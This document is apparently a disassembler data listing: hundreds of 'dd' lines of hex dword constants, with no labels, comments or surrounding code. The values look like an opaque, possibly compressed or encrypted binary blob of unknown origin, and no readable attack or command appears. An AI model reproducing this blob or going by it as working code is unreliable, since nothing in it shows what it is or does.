		dd 5EB09DAFh, 83000127h, 93F2D4FDh, 70645176h, 65DB1EE6h
		dd 2DF5804Bh, 0B3865A6Fh, 2BDE0F01h, 94213397h,	0B558ECh
		dd 0C0A48074h, 492D6209h, 60069500h, 0B15A7125h, 5BCF017Ch
		dd 554A0858h, 502FD541h, 0ED30E292h, 42EA7100h,	21C84F0Bh
		dd 0E5743CE8h, 0D2490500h, 7D6BDF1Eh, 31D30100h, 0EBF36F2h
		dd 8A1100CDh, 0A635A9E4h, 1407C8FDh, 0DE642719h, 0B9360018h
		dd 447932F3h, 92395003h, 904A835Dh, 75D4EFh, 100EEB0Bh
		dd 3EBB5A69h, 6AE47302h, 494C5333h, 3F8EB9C9h, 33D0288h
		dd 0D96DCC7Ch, 0E441FDD8h, 0F406D502h, 40EF6E35h, 2C0856h
		dd 0B2E38752h, 23F04BF7h, 3CE49400h, 5D151105h,	0A220300Bh
		dd 0AE64219h, 5F014B75h, 1793AFB3h, 0C3D4EAA0h,	7B840069h
		dd 26F9D849h, 0D7279267h, 25530696h, 412A0097h,	604B4627h
		dd 9CC7BAE2h, 9B02602h,	30AE5D89h, 0F0166814h, 7B005074h
		dd 8ABCB18Bh, 20D5B6h, 0D62744BDh, 89C29C3Fh, 239B3002h
		dd 48A0B4C8h, 0DC0D6D7Ah, 2BD44FD8h, 79300A00h,	2D8093C9h
		dd 96150331h, 68CCB8EDh, 0B9E88FDBh, 0E134F02h,	4B00FE62h
		dd 54083DE6h, 0FDE83EEFh, 503FB430h, 2490F0D4h,	1573690Ah
		dd 3B00919Eh, 0E38FCA80h, 966A007Fh, 0FF40F168h, 3A000F13h
		dd 0B892CD81h, 71B4E01h, 1132D270h, 1A36309Eh, 0ED000A66h
		dd 13CF269h, 0CD7615h, 59353398h, 2BFB4038h, 60F3BA2Dh
		dd 9004A6DBh, 0D68E1FBEh, 0F5AC479Fh, 807907BCh, 0F2962599h
		dd 11F7B31Fh, 0A6E58702h, 2526B32h, 219DD834h, 210FF19Ah
		dd 0DFCA7833h, 212A3C20h, 0C848E7ADh, 57817C90h, 0C09F20A7h
		dd 4C00F3C6h, 0F2076B17h, 0C07E9039h, 30C74126h, 440A5098h
		dd 0B17FC071h, 0DC80B31Ch, 336BB710h, 0B04AF2h,	0A9D758D1h
		dd 3F767E32h, 0A6BEA60h, 93D073h, 6A219AAFh, 0FEEF4135h
		dd 5B0F0400h, 7C2411A9h, 34CFC45h, 0AFC11AB9h, 0EDE3FCh
		dd 0AB1FFBFCh, 1300BF56h, 35C01993h, 390F33EEh,	4E00233Dh
		dd 943C25F4h, 37001410h, 0C47EB4Ch, 117139Eh, 92D37645h
		dd 0F85582DEh, 7B000729h, 1214E9ABh, 77FFA43h, 681B9E2Ch
		dd 26E150C9h, 0C1273F8Bh, 0BB56149h, 2B70F60h, 9C6BC3B6h
		dd 0F0600CD9h, 0B4078C2Bh, 4420D40Dh, 0C65B4E20h, 0E0B4C067h
		dd 951AC184h, 0FCC3D4Ch, 5C568594h, 0EA17D0C0h,	0F26E47h
		dd 0B922B1FEh, 0C42CE4A7h
		dd 817DF93Ah, 3CE37688h, 1BE85307h, 918100E6h, 0BFA010AFh
		dd 0D45DFEE7h, 80873B22h, 0FBB128A4h, 0F9108C4h, 0B027A3DCh
		dd 8B0ABE00h, 1E3E9AD9h, 0FAAE0028h, 0D578FFBBh, 0A1180194h
		dd 7FF6B2EDh, 34FA20C8h, 0E1614809h, 51F00D8h, 25C1CA8h
		dd 5D4C1EBDh, 0D5609C16h, 0B93F708Eh, 48BA4C09h, 0A65C0099h
		dd 8529B0CAh, 78E034Ah,	5D7C2863h, 30CCF1E7h, 7EB83077h
		dd 80ED3DF0h, 45882ABBh, 245A1289h, 7E9A723h, 8B0D8C40h
		dd 3776DA20h, 0BF88583h, 9E3D5978h, 0F65917h, 1E9D114Ch
		dd 0A07C3065h, 6146FC8Eh, 419EBAD9h, 27C217Bh, 4148E7C8h
		dd 59079038h, 5DD9C9ADh, 550E8DE1h, 10405A61h, 5D2FBDFh
		dd 9031B122h, 0F4AE80FEh, 3CC13457h, 0EE448883h, 0BAB6CB30h
		dd 0D24E092Fh, 0A101AF53h, 2CFD31F1h, 0B852D8h,	75875463h
		dd 8822A08Bh, 662C5DC2h, 111D7A08h, 20B18A5Eh, 1A2080AFh
		dd 213B0037h, 0A3B22A2Ch, 0CE00C201h, 48546552h, 7EB96Dh
		dd 3BD18562h, 0A231B815h, 26273900h, 0BDED0166h, 0CA9F033Fh
		dd 486EF3B6h, 14E5258h,	296207D2h, 1C208354h, 7CF0ABh
		dd 0D00BBF7Ah, 904B6AFBh, 9ACBBE03h, 903624C1h,	675C48h
		dd 0BA718B50h, 2C348A7Ah, 0BB41F83Ch, 2309004Bh, 193D0227h
		dd 0E23E0044h, 6F9A5108h, 610306BCh, 0E7DE2874h, 0CAEABB45h
		dd 93EAE052h, 0C71DC02Fh, 0FD34EC6Bh, 0AC53E007h, 0A70D277h
		dd 167AF65Dh, 0C06339AAh, 317416A3h, 46FE7D17h,	651CF002h
		dd 8637412Ch, 9062EF64h, 45C10020h, 82367517h, 109252F3h
		dd 0B12D6801h, 904C812Ah, 24E8EF70h, 414DA5Ah, 8857DDBAh
		dd 0D6028D71h, 0F5B4CCA1h, 62764884h, 0A9191010h, 0D14D1F23h
		dd 3605DB80h, 18A05491h, 1F6DD5C4h, 0D318AD89h,	8A116AD8h
		dd 1EC908Eh, 0F2986E14h, 811F9BB7h, 13CCCB0Bh, 48ED79DEh
		dd 4A198E20h, 0C365B10Dh, 0D0EA5587h, 9C5FCCCh,	0A2DB9209h
		dd 0DB730826h, 7D88C0Bh, 0A9C2270Eh, 853AE007h,	60FD92E4h
		dd 9ED325FAh, 909A3F2Ah, 9310F5C2h, 0DCE2C009h,	0B483007Eh
		dd 772DAC6Ch, 7935440h,	7419A001h, 4F70473Bh, 5A642815h
		dd 17ED988Ah, 0DE8554h,	984DD079h, 590151F1h, 0B9B59422h
		dd 48CC39Dh, 9A177AC8h,	2A9BE0Ch, 79AE1156h, 25C701B2h
		dd 21983AE6h, 27E4206Fh, 353947FCh, 0CC76184Bh,	5CAF612Fh
		dd 0C736EB70h, 643D17B6h, 0EA240367h, 49833Fh, 0E2076314h
		dd 0E502855Ah, 4D393500h, 92C168F3h, 8A2B3097h,	734FCB26h
		dd 0C6A37F00h, 7521560Dh, 507D0053h, 9996A9C1h,	0C00CB22h
		dd 96D1958h, 7DC067F4h,	0E82C3095h, 886CC842h, 9E45D400h
		dd 7501BD69h, 4A1101EFh, 0B7BB67A6h, 0C362E8A2h, 73E71C01h
		dd 0EB47789h, 8AE63F80h, 28DC17CBh, 0A42F4C00h,	0BBDAC6FBh
		dd 0D6CA0009h, 5CAE9F81h, 840103C2h, 558A4121h,	5020C5A1h
		dd 7E5817F7h, 9FF4760h,	25C4732Dh, 1435A4Ch, 0C8F3AC27h
		dd 178961E1h, 5340A985h, 0FA31B1E6h, 0B0AC1948h, 0CCE0FCh
		dd 0C4BFDC8h, 95CA8118h, 45EAE100h, 0D1701308h,	0B2913BEBh
		dd 845E1203h, 4283ABE0h, 0C6A24509h, 56DA00AAh,	2CB153E2h
		dd 43017E72h, 0BF91946Ah, 0E32F8003h, 0DF1AD087h, 92F7433h
		dd 994BEA89h, 4A2445A0h, 2DC7E35Fh, 41EE2703h, 0C2802B55h
		dd 91817B8h, 15D0DB9h, 0D57A1100h, 6C88EC98h, 50C71D8Fh
		dd 38ED4197h, 80AA18FFh, 6549152Dh, 5866C412h, 0D11DB19Ch
		dd 1400381Bh, 0B503A345h, 120BA14Dh, 20F9B273h,	0F1A5DAA6h
		dd 3BC007Fh, 0ED5EE9CEh, 0CDE49301h, 8004B058h,	6C1F411Bh
		dd 0B74601D6h, 3B69F92Ch, 255AC8EAh, 0B0566D00h, 0C1A58175h
		dd 2766000Ah, 41E2F77Bh, 0DC4883A2h, 374903F5h,	0C1CE74h
		dd 6EAD5F42h, 72EE9E82h, 25DE5500h, 28AF04F0h, 0F29900B3h
		dd 2687BB49h, 0ED3961BDh, 843E0013h, 6056A7CFh,	96E70304h
		dd 1FA3667Fh, 7BF71704h, 318007BCh, 764765Ah, 0E4EF2FD5h
		dd 4526D05Eh, 4AB8223Eh, 82803F8h, 5C58FC55h, 68500F1h
		dd 9DDA8D5Dh, 4A69E8E9h, 11702097h, 0AB1ED86Ah,	0E04B5894h
		dd 3A5B900Bh, 0CA5006Bh, 0F0962713h, 0CA00C1B5h, 0C336EA23h
		dd 907745DCh, 0BD641E7Fh, 578E8006h, 8F38BF7Bh,	0D4A65A00h
		dd 47246305h, 9AD7018Ch, 1857F9C0h, 0A044C443h,	16B56100h
		dd 0C413570h, 0F4D81777h, 11940A42h, 76524BEh, 605C04DAh
		dd 0FCD1F571h, 0CB34209h, 0F2E38FD7h, 9FBCAC03h, 0D3D59810h
		dd 9267248Bh, 0A423163Fh, 220040ADh, 0C6333534h, 0C80F9F2Ch
		dd 0B240B2Ch, 4F13E0A4h, 0B58F0B00h, 279A215Fh,	4A80B9F4h
		dd 8032723Ah, 52493D00h, 19B06499h, 1246F875h, 905D9E4Fh
		dd 90345398h, 26A55109h, 94DB4081h, 0B8FB85Bh, 0CF554178h
		dd 3F076F57h, 3E570CA7h, 682CC225h, 725E65C3h, 0F7F12064h
		dd 54C9E17Ch, 579695D1h, 0E6D4A5E0h, 8F4A269Ah,	0BFA83D14h
		dd 0F2D69809h, 0EE36D25Fh, 709A578Bh, 0E02F73FDh, 0D646E95Ch
		dd 0BD06B5B8h, 0A9A4B8B7h, 0C5033DB0h, 22E4E000h, 26434175h
		dd 44614600h, 0F1189B66h, 39D90C74h, 0C65306E8h, 84D2451Eh
		dd 0BE9DC8Ah, 979F3000h, 0F623B1h, 32BB665Eh, 4EC681FAh
		dd 0E9227163h, 0E2D0014h, 5A170912h, 4800C00Ch,	1F276A3Eh
		dd 3EB81437h, 0FE3FD82Fh, 0CC9DFC4Bh, 7F10B0Bh,	23F479A5h
		dd 4BE7008Bh, 583C7E6Ch, 87D02866h, 0E381060Fh,	4F68780h
		dd 0A9E0F760h, 0F2A0F60h, 0EFE0D9B7h, 1A6421F8h, 4BA0E8F6h
		dd 0FC001B7Ch, 338CB136h, 9953A5h, 0D1212DEEh, 0DFAF9E9Ah
		dd 0BE25F500h, 3436B7DCh, 8F0F275Fh, 0CA8BF9C8h, 0C2706160h
		dd 3174E2E3h, 21D0AE9h,	0C4D1E865h, 69738907h, 0AC5C52D3h
		dd 8B5A1250h, 0F3343DAh, 3500088Ah, 15C18156h, 777F6878h
		dd 0C0F82559h, 0F06C7DEh, 77292285h, 0F8805260h, 12B86605h
		dd 61884311h, 1B1D36E9h, 78C06427h, 51DD6253h, 1856EA8Ch
		dd 44760F6Ah, 0C98B0381h, 0E1C8D6BFh, 2A19333Bh, 78724F46h
		dd 43839900h, 54D275D5h, 0DEBA030Ch, 7BA00166h,	0F75A98D0h
		dd 38C31F05h, 0F11CA526h, 0B913C9C1h, 91FFA737h, 0ACF0A1ABh
		dd 4D923127h, 0E340A508h, 0CF0A4EF9h, 213ABCEBh, 0F6E0C13h
		dd 5251171h, 26315B14h,	0BC1C0122h, 873E9269h, 5A56DA11h
		dd 0EA4DFA2h, 679D03D7h, 1101BBC3h, 2576202Ch, 0AC002E21h
		dd 9C10648Dh, 0A48C2485h, 0BA814648h, 0DB602C11h, 385021A5h
		dd 5010F81Eh, 1DF3E88h,	5C553A85h, 0EDD5763Ch, 5AC8407Ch
		dd 0B100BB97h, 1A29BC28h, 31ABEF19h, 7E103981h,	0CC68C142h
		dd 2A002D12h, 0E25C9E41h, 3DD1D513h, 0AE00440Bh, 520821B4h
		dd 0FCF8A736h, 0CF28AF78h, 0C100ACBAh, 46943B6h, 1E727548h
		dd 266199h, 68424676h, 787C7F63h, 14AC9E28h, 2C11703Eh
		dd 0A100346Bh, 8B39AFECh, 0A350C7B0h, 78BEE629h, 0AAC9A63Ch
		dd 110AE0B1h, 0C397382Fh, 9BACE830h, 7B6A39ADh,	0A792E485h
		dd 2598012Bh, 802401ABh, 0B1B73EE0h, 15CAADFh, 7263F597h
		dd 40D1A32Bh, 4EA529D6h, 6877BF14h, 0DCA0F120h,	260A0218h
		dd 0D0ABC26Bh, 0F87C4C80h, 0C7A2570h, 6A2D5E41h, 21DDB308h
		dd 0A2F874C0h, 0D53457h, 0F77C0DE7h, 0B1E5F9DAh, 0C32180A8h
		dd 101C8940h, 245B0B2Eh, 7D044466h, 4540BB0Eh, 327FEB73h
		dd 2A1940FCh, 56089E3Ah, 6B7A2180h, 0A3905BEBh,	0A0130918h
		dd 59D8F48h, 0F670D254h
		dd 29F441B1h, 2019F59Ch, 9D247A80h, 3A806459h, 0A36FE577h
		dd 0A14A0C68h, 300860DBh, 7F9D21C1h, 9CF4CBE5h,	84E407A4h
		dd 148F1CB7h, 25409035h, 365459B3h, 5A7ADFA0h, 0F0F603F9h
		dd 9891E4EBh, 767C2817h, 0B3A544A4h, 3D493B00h,	8CA4DA9Dh
		dd 0F3AD00D8h, 1758A774h, 7F500D7Ah, 0C0D425C0h, 0BFDF1014h
		dd 18039C50h, 105D2321h, 0DC91A00Fh, 36030935h,	18A4B3A7h
		dd 81706F11h, 3041847Ah, 718FFBF0h, 5D63008Eh, 0DB81C83Ch
		dd 3A037050h, 310D7304h, 0AD74B84Ah, 0A03E1960h, 0E00E4077h
		dd 0D70C7CEDh, 0B07BD0A4h, 72CA0933h, 280A307Eh, 69D58108h
		dd 0F05DD627h, 0A8A92392h, 0DC0EE543h, 7A0150A4h, 1A22DE8Fh
		dd 34205912h, 751D073Ah, 842A4748h, 7F088225h, 41EBF833h
		dd 22564632h, 6D640054h, 8F760EEBh, 0F112AFF6h,	3400B6B7h
		dd 5B812242h, 5A2D0FB5h, 4564A041h, 88088E6Ch, 0B3B0C331h
		dd 53157898h, 0BC574505h, 0EC45B4DDh, 0B0403585h, 4D46E011h
		dd 97833BC4h, 539B16h, 54FC223Fh, 8C1F3B37h, 0ABC03925h
		dd 3A29BA86h, 0BE9407F8h, 0A77C246Ch, 10A27006h, 81C0209Dh
		dd 0CBD07885h, 0EB813BD7h, 87800681h, 3040363Dh, 464CF32Ch
		dd 3103045Ch, 1080515Bh, 19A394E2h, 10BB7F21h, 0E1B83167h
		dd 0E80A0424h, 0DC00ECFCh, 0B32305C9h, 0A00A4D6Dh, 0AD89723Eh
		dd 4CA2BB39h, 5BC23C73h, 3AF5B820h, 0E50764A6h,	20F0CBA9h
		dd 976CAAE0h, 77B90061h, 0EAD37AD5h, 28E44EA4h,	7C0FCE26h
		dd 40F87B94h, 48C7CF0h,	327EEB72h, 2057629Eh, 53EB6A65h
		dd 23169003h, 1E2CC5DBh, 0C0BF1DA8h, 0A77AC17Dh, 31CEABB4h
		dd 9C559Dh, 59719499h, 39FA6830h, 6700AD14h, 7675CA90h
		dd 72007B05h, 405E2587h, 7BEE0FDh, 6BA48C73h, 80E8BA84h
		dd 72196247h, 889078AFh, 308CA849h, 6A682103h, 0A6623F19h
		dd 4A549F03h, 878C0465h, 422544h, 8C93A1CCh, 9067A0BBh
		dd 27F4C360h, 0BD427B00h, 94F60CD9h, 0F4AB4024h, 80406C14h
		dd 0AF77196Fh, 10E18C30h, 191769h, 0A214012Ch, 973DB1EFh
		dd 489833E4h, 10020FF8h, 0D1EC942h, 398C6870h, 1A912AFh
		dd 0A84408CFh, 0FF8DBC80h, 19414B5h, 4593038Eh,	50BE0F3Bh
		dd 925DA3ACh, 36B58100h, 17258EB6h, 0E5F4121Ch,	0B7280B64h
		dd 8FD19C21h, 0C09A02B1h, 805B73E8h, 0AE60A1BCh, 9DDCA3F9h
		dd 8DE4A007h, 3A843072h, 0DA1358D1h, 3493700h, 91AD9F1Ah
		dd 3E220027h, 68E86114h, 0C10978F0h, 846A6D1Fh,	495FA078h
		dd 1488E4A1h, 9043BE8h,	806D61F1h, 0B9ACAD38h, 1C0B49h
		dd 0CD673A73h, 39767A6Ah, 7CCCE6F7h, 0F0A11067h, 0BC2B91DBh
		dd 870C0B04h, 74C37262h, 4958013Ah, 0F6F941Fh, 977980B2h
		dd 2FC10F1h, 81DE005Fh,	0A70CA6E9h, 3612FF85h, 7C0034DCh
		dd 2F92C225h, 40584CE6h, 5E348D24h, 0D4093B46h,	140891D7h
		dd 3F465C20h, 71737900h, 658E7447h, 0A080DB02h,	0A0A1DDBFh
		dd 2590D5CCh, 0A77207AAh, 426D3E70h, 0BC405480h, 18B9377Dh
		dd 0D24F08h, 92B086D7h,	25E67654h, 7EFAC40h, 0CB0CC94Eh
		dd 0FF0B102Fh, 0EB09C3E0h, 0AFA16C1Ch, 0BFD6A15Ch, 0B8743788h
		dd 182449D8h, 3AC4B2Ah,	0B35B72B6h, 7809267Dh, 49AD7392h
		dd 0E0367868h, 6DE57507h, 32C4B8A3h, 0E57D9B40h, 980315FAh
		dd 2D7C29C2h, 91EDE80Ch, 9CEC4CADh, 2EABD310h, 4674486Eh
		dd 820370ADh, 9C076A02h, 0AA79005Dh, 6150EE39h,	0AFF6E533h
		dd 0CC010524h, 0CF887601h, 0A060C67Ah, 20EE4AD3h, 31097858h
		dd 90A57330h, 4C33D650h, 4201244Dh, 8F5A9F37h, 9501300Ch
		dd 574730Eh, 0B80FA6A1h, 0EF610091h, 86119DECh,	3C0966E3h
		dd 89B71A37h, 22002078h, 0A1B075FDh, 741877A4h,	0A36CE508h
		dd 4033C460h, 55E57C9Ah, 8D403C0Bh, 0DB97E982h,	0D0A62E2Dh
		dd 0C3002921h, 625FCE02h, 0BDCB6BFh, 3998B594h,	461949Ah
		dd 0C0302816h, 2577F843h, 0C3404292h, 0F8F87B61h, 0AED5BBh
		dd 8091883Bh, 0A053D1A1h, 7C0178B1h, 0C32B1F23h, 3003432h
		dd 8DC4A184h, 0A6F814A9h, 0DE5419C0h, 0BBF12Bh,	0C8F629C1h
		dd 775C6513h, 48C0DA7Ch, 0ABEA8F1Eh, 344D24A4h,	95CB407Ch
		dd 230C5C54h, 182BC9BBh, 0F95B6ACDh, 7FF4002Ch,	3D059765h
		dd 2C89DF18h, 0CE723F0h, 3F458FB3h, 601E611h, 3B1E92A1h
		dd 16CF3997h, 39CAC18h,	0A4BB2908h, 3127D800h, 30757C33h
		dd 96D5771Ah, 21B002F0h, 0A043BB07h, 0CD620988h, 0EB842850h
		dd 0A5747103h, 1ACAFC9h, 39105A20h, 4ED46915h, 0F6031120h
		dd 0AB3E2F81h, 0E6900BCh, 83CB01A1h, 0C3E4AD76h, 4038C2h
		dd 4E06917Bh, 0A871Fh, 1279487Fh, 1B8F7844h, 195F8F1h
		dd 8E6B5A1Dh, 6F031E3Fh, 967403FCh, 0E910450Ah,	26D0430Dh
		dd 1421478h, 7101C585h,	56DA57Ah, 0B43F090h, 491E8B0Eh
		dd 4806E001h, 5C1F8F1Bh, 3847E444h, 1E1A9E1Eh, 18523A36h
		dd 81E63A3h, 85187B30h,	139E61B0h, 674E1Dh, 911A6AB4h
		dd 6600631Bh, 7481526h,	786F7F85h, 352F470h, 647D9A05h
		dd 0D10F6CACh, 66E1671h, 9239357Bh, 42757C4h, 56F3928Fh
		dd 5EE002C8h, 507028C8h, 34DB0E00h, 0AB396AA7h,	0DC88582Eh
		dd 40421513h, 0BB97DA8Ch, 18C48960h, 0D0823313h, 5B08844Ch
		dd 0DF3EBC80h, 0E0D44CF9h, 0F1E17C0Ah, 902F282Ch, 19A8AABFh
		dd 88A3660Ch, 0A1B38C0Ch, 7890E630h, 58D8547Ah,	888970A0h
		dd 803121A7h, 1D7740CAh, 0CC259824h, 8D596A40h,	78A7A02Ah
		dd 5013773Bh, 7E879F58h, 10BFF743h, 8AEFD6A2h, 0A475B0D2h
		dd 0A2AD1DC4h, 6821322Ch, 0A409A143h, 0FBA6C8D0h, 4C257166h
		dd 847CD4F8h, 0A3DEBC12h, 8323E447h, 10805D45h,	3A7D1938h
		dd 2814BBAFh, 12740CA3h, 4F2D2025h, 5B24AEFCh, 0D9B8C0AFh
		dd 323A7AEBh, 7CE44C59h, 0ABE217F9h, 301468B3h,	2B58A1B7h
		dd 9DFEDC65h, 2761164h,	21AF0D19h, 0BC8CA812h, 0B8905A10h
		dd 8E183621h, 2A8FA7B1h, 14F060AFh, 0F83E2A02h,	0A08C7CC2h
		dd 5C4130E2h, 48200905h, 0AF8C8870h, 0C1474130h, 0A62F39A3h
		dd 1A32458Ch, 0FB8880E4h, 99AB257Ah, 5098327Ch,	3221B310h
		dd 491DAB4h, 0E11840DAh, 40519ED1h, 88B453A0h, 13E06A31h
		dd 5564205Ah, 0D1D52984h, 97E21D94h, 0CD4543Fh,	0C851B310h
		dd 4680A1B8h, 0C8C996Ch, 8C2B3928h, 4E50D16h, 5E85042Ah
		dd 15883339h, 406CE04Ch, 29843EF4h, 31948F8Ch, 253B4140h
		dd 50506660h, 148A2628h, 999A6880h, 0A129CF0Ch,	86EB00E0h
		dd 23FC0C99h, 4CEBD54Ch, 0B8A8A1B8h, 64802814h,	850C99D1h
		dd 34E15F39h, 3DA29C5Ah, 37EF443Dh, 0A0AB8C2Ah,	212C24E4h
		dd 0CE31EC39h, 2E1D0845h, 7488D825h, 61796A10h,	0CAD4F850h
		dd 1AB0828Fh, 50D2ABA4h, 6FA8E453h, 2C858681h, 0D8EA5379h
		dd 5856DC5Dh, 934C23CAh, 0C42C3FF8h, 0B16B88CAh, 0E01BCAEAh
		dd 50FF21E8h, 3868944Bh, 0FE132904h, 7B0407D9h,	4788C846h
		dd 21B00AA2h, 4830AFCCh, 86B71D75h, 3E70D59Bh, 3B445E87h
		dd 9C02B541h, 30E92566h, 95AB5B3Ch, 0E891D547h,	0E043C47h
		dd 792C9FBCh, 3C70D854h, 475FE3FAh, 616B8BECh, 48DEC2C4h
		dd 0EE7A1Ch, 5161EFABh,	1015D59Ch, 1175F900h, 4ED6D3FAh
		dd 0E106009Eh, 71FBA2A7h, 2505ED23h, 0A486E519h, 806E24E1h
		dd 0D56279FEh, 3A3C501Fh, 0C7B7B1C0h, 787602h, 65F5DB07h
		dd 102D73E2h, 52FF7F03h
		dd 0C0D1307Ch, 9C55DE8h, 2B9266D6h, 0E4640020h,	9601DF01h
		dd 0A8B9139Ch, 0ABD0B4D1h, 60B7EE41h, 14F38E8h,	32003F03h
		dd 2589BB0Eh, 307A55E2h, 5A49A3BCh, 5E000C2Dh, 0B18C1BB5h
		dd 34CEADBh, 7702492Ch,	29002A9Dh, 80A0B9E0h, 229C5Fh
		dd 39F4218h, 0C03DDE13h, 7572CB00h, 0CC3682A7h,	258F09E1h
		dd 28A55321h, 15244087h, 0A0884007h, 5F07A67Ah,	0FDE7BBDFh
		dd 174019C7h, 0C04D857Bh, 52DE0639h, 5F0E2876h,	4002DC2Ch
		dd 9D0369A7h, 6B538CAh,	0FEFA189h, 0E1970881h, 0D9C52054h
		dd 5E812603h, 0E8A21D88h, 0BE76EFh, 22AE438Dh, 5A558AFCh
		dd 0A1F8F00h, 250664Fh,	58621F7Fh, 54BE0378h, 55C07D27h
		dd 7A007937h, 7E7C4FEDh, 147F3123h, 140C6675h, 46C157A3h
		dd 4930837Bh, 0E03D5C67h, 8037517Eh, 450F0221h,	60255076h
		dd 554E378h, 38591862h,	4330904Eh, 18E27237h, 4D255540h
		dd 215F0E7Ch, 809B644Eh, 3C37283Ah, 490E9D73h, 4F265203h
		dd 46780D72h, 0CC31547Eh, 59DF4927h, 0C5D704Ah,	0A054EC62h
		dd 78420B84h, 4A090550h, 265C75h, 45032188h, 29C0ED71h
		dd 0FA972BECh, 5C5B3CABh, 20D0FF0Ch, 19051D49h,	992A5586h
		dd 0D6B61800h, 0FEA2FFh, 23679D56h, 72C3F655h, 8E3E6603h
		dd 0A06EE440h, 7E2ED2A6h, 0DF29039Fh, 5C5A2CB5h, 0EB54BDE0h
		dd 0BBE51A24h, 0D1FDA503h, 9D710038h, 25CE133Fh, 8E80EA18h
		dd 0C15746Dh, 5952709Eh, 0DA011728h, 0DEAFED4Eh, 0FC01F391h
		dd 6CA1940Fh, 79AA2218h, 68AF64D4h, 0F7FC215Ch,	83373183h
		dd 18318EF8h, 98DF59DBh, 0ABCE22E2h, 15E40F09h,	610D2040h
		dd 2C0F29C9h, 0F6B898AAh, 6595D559h, 218C3058h,	41DAC3A8h
		dd 0A8622Ch, 7E41E779h,	0C2560CCDh, 8220F4B8h, 9155A905h
		dd 0D008F695h, 3121C48Fh, 0B318477Eh, 49632E7Fh, 1DE9E731h
		dd 18F9F3B9h, 0C0D968CAh, 2819ED79h, 9AC8EC99h,	0C776C610h
		dd 55DC43E9h, 0A7EBF106h, 1931DC08h, 185B80D4h,	24C51ABh
		dd 545840AEh, 0F8600325h, 13D6B791h, 56FC3790h,	1119C039h
		dd 86F7D5A6h, 84808C30h, 4C595418h, 58FF5173h, 1A9E813h
		dd 68DF9791h, 0BE5C44EDh, 7EC20539h, 0A421A0E7h, 0C90AF204h
		dd 0C474362Fh, 2CE8A7B8h, 644284DDh, 0C018A0E2h, 10148C06h
		dd 2128CBA6h, 0CE425C3Ch, 0FC8FD410h, 88104244h, 0A8514FE0h
		dd 88F842D4h, 0A8714FF2h, 9FF442E0h, 0A8DC1161h, 881C4240h
		dd 6A744481h, 0A21E7810h, 1A0C11B4h, 841FD19Dh,	5CC8F2FCh
		dd 226C9A2Ah, 8C9123D0h, 31F0DF0Ch, 0F34D24C2h,	0E1A14060h
		dd 61D252DAh, 11848C14h, 10258D1h, 125D7BDCh, 10F2C27Fh
		dd 266D370Ch, 98BC41DAh, 0B59A6187h, 29DF4414h,	0A4DE8208h
		dd 268C6CEEh, 61D0FA03h, 42719E3Ah, 5084FD74h, 0CCBCC8C3h
		dd 0FB31ED67h, 88FE405Ch, 0A029BB1Bh, 0D50AA008h, 0F06A98A3h
		dd 3464496Ch, 0C121FDB0h, 67FCCFA1h, 46AE1070h,	0E27B8878h
		dd 0B491C32Ah, 0B31B205h, 0A0807144h, 323763Ah,	0D784E03h
		dd 52A0480Fh, 0B100490Ch, 9D7E3268h, 1F7B69F9h,	4A567Ah
		dd 3A372348h, 0B055573h, 222AF4Eh, 360D08C1h, 28B07BD1h
		dd 73450E11h, 7F5C0AF8h, 3A007910h, 7E372048h, 0F13354AFh
		dd 0F251870h, 3856674Eh, 80237F07h, 0F52757Dh, 0D100045Ch
		dd 6BACAF04h, 7F383C12h, 421B400h, 0A5366549h, 0C58D8C18h
		dd 19131C11h, 240070D6h, 6ADC0237h, 0D5B006D1h,	18418A08h
		dd 8FD7793Bh, 8556FD4Dh, 2CC855DFh, 18B71329h, 52F40FE0h
		dd 806A8505h, 921A231Ch, 0D409F674h, 46CFAEB5h,	0BEEA8Ch
		dd 2945DEA6h, 0A0E482D1h, 76D9BF05h, 0E0C039B7h, 128B426Bh
		dd 9B962C5Fh, 8F507BC8h, 0ED187D40h, 40D9DA0Ch,	0AA5A3A85h
		dd 2428EF78h, 0C007AC18h, 7CA49278h, 6C024702h,	3CF788F1h
		dd 97FF7E07h, 0A780FEB4h, 98EA9D10h, 6D68C1E4h,	17CBD67h
		dd 7601013Dh, 8F890EAh,	0A810985Ch, 18A73EC1h, 0EF40C94Fh
		dd 9050C685h, 0A44A7820h, 0F8BF6045h, 8268C28h,	8F1A243Bh
		dd 0B8086DBh, 0B6EAF2B0h, 88C26804h, 707B5700h,	0F51C240Bh
		dd 0A194108Dh, 0EBDA02C2h, 6EEF5A41h, 0ABEDDFC0h, 485089CAh
		dd 4EFC0932h, 64144828h, 9E430AFh, 7CCD35AEh, 9C8E00FFh
		dd 84924AB9h, 3B01EF38h, 49035553h, 45E45EAFh, 0B231E66h
		dd 62511647h, 50C16578h, 615FC548h, 100DF054h, 9E852F6h
		dd 56634500h, 0FA90274Ch, 44A670h, 0C9A02D19h, 75724C52h
		dd 0F045353h, 95646CB7h, 7089010h, 55624318h, 30AA94C8h
		dd 269F68C5h, 83432008h, 823E8858h, 0D2A04029h,	9294E424h
		dd 1099C4CCh, 90084C3Eh, 98125589h, 486730B6h, 104A7C59h
		dd 0C6126A51h, 0C8889A27h, 2A88CF08h, 94207020h, 9C444D0Dh
		dd 94F00ABEh, 11420C3Dh, 8CB23Ah, 5E996850h, 84D4A131h
		dd 9228513h, 98834482h,	86129989h, 9C488724h, 9A229D91h
		dd 89909B44h, 249E1291h, 9194489Fh, 7C922295h, 72AC0093h
		dd 6E05035Fh, 165246A9h, 0B85932F4h, 528496ABh,	14EB0486h
		dd 2808ED4Bh, 4C00BC5Ch, 998F5D4Dh, 3E5F5BAAh, 140057EDh
		dd 0A6B155F2h, 5C3E5415h, 534D9D84h, 0DBAB6907h, 0A3477187h
		dd 408C79C7h, 205BF821h, 74401468h, 0F5A600B2h,	0ED844154h
		dd 48943D25h, 487FED7h,	5E9255FFh, 1C1D88B3h, 63C826Ah
		dd 9D2F576Ch, 0AC3852BAh, 757F0826h, 65811A3Dh,	7803724Ch
		dd 45610991h, 0FA040B38h, 0C22BB0AEh, 0B27100AAh, 0BFF47220h
		dd 0ED62183Fh, 9590E421h, 0CF09C038h, 1A0760B0h, 263C70C3h
		dd 5621C3h, 0D953D818h,	4F55F901h, 57799314h, 0A13E1Ch
		dd 0C65D2D05h, 0A45E4A37h, 0A7A95E28h, 437506E4h, 33416831h
		dd 0AF31258Ch, 0DB397C00h, 288CA6Eh, 68A20073h,	0A369345Ch
		dd 1A3C2CAFh, 726A0244h, 8F60D291h, 7A20A084h, 992A57h
		dd 45A4C6AAh, 88C0D515h, 2686500h, 9436E08Eh, 127B0026h
		dd 0D51FD8DAh, 0A200CB1Ah, 72C830EDh, 380ABAh, 7D9357EFh
